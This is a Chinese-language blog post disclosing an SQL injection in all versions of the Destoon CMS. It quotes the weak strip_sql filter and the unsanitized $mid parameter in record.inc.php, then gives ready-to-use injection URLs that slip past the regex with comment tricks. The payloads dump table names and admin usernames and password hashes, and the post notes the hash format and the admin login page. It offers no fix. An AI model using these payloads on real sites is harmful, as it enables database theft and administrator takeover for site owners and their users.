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destoon全版本SQL注入 - 网站安全 - 自学php

在include/global.func.php 中strip_sql函数对传进来的值进行了过滤,但是我们可以绕过该限制,达到全版本注入

  function strip_sql($string) { $search = array("/union[\s|\t]/i","/select[\s|\t]/i","/update[\s|\t]/i","/outfile[\s|\t]/i","/ascii/i","/[\s|\t]or[\s|\t]/i","/\/\*/i"); $replace = array('union ','select ','update ','outfile ','ascii ',' or ', ''); return is_array($string) ? array_map('strip_sql', $string) : preg_replace($search, $replace, $string); }

 

 

在member/record.php 中

 

  <?php require 'config.inc.php'; require 'common.inc.php'; require DT_ROOT.'/module/'.$module.'/record.inc.php'; ?>

 

 

调用了record.inc.php 

 

  switch($action) { case 'pay': $MODULE[-9]['name'] = $L['resume_name']; $MODULE[-9]['islink'] = 0; $MODULE[-9]['linkurl'] = $MODULE[9]['linkurl']; isset($fromtime) or $fromtime = ''; isset($totime) or $totime = ''; isset($dfromtime) or $dfromtime = ''; isset($dtotime) or $dtotime = ''; isset($mid) or $mid = 0; isset($currency) or $currency = ''; $module_select = module_select('mid', $L['module_name'], $mid); if($keyword) $condition .= " AND title LIKE '%$keyword%'"; if($fromtime) $condition .= " AND paytime>".(strtotime($fromtime.' 0')); if($totime) $condition .= " AND paytime<".(strtotime($totime.' 23:59:59')); if($mid) $condition .= " AND moduleid=$mid"; if($itemid) $condition .= " AND itemid=$itemid"; ../

 

其中$mid 是没经过过滤的,导致我们可以注入

但是前面有防注入处理?

看我们怎么绕过注入中的正则

xxx.com/member/record.php?action=pay&mid=-1+union//***/select//***/1,2,password,username,5,6,7,8,9 from destoon_member where admin=1-- a

看看这样是不是可以了?

这样就达到可以绕过正则了。。。

当前。前缀肯定是有变化的了,我看使用

 

xxx.com/member/record.php?action=pay&mid=-1+union//***/select//***/1,2,GROUP_CONCAT(DISTINCT+table_name),4,5,6,7,8,9+from+information_schema.columns+where+table_schema=database()--%20a 

 

来获取前缀。再使用

 

xxx.com/member//record.php?action=pay&mid=-1+union//***/select//***/1,2,concat(username,0x3A,password),4,5,6,7,8,9%20from%20destoon_member%20where%20admin=1--%20a 

 

来获得帐号和密码,密文为md5(md5(psw))类型,后台貌似为admin.php 

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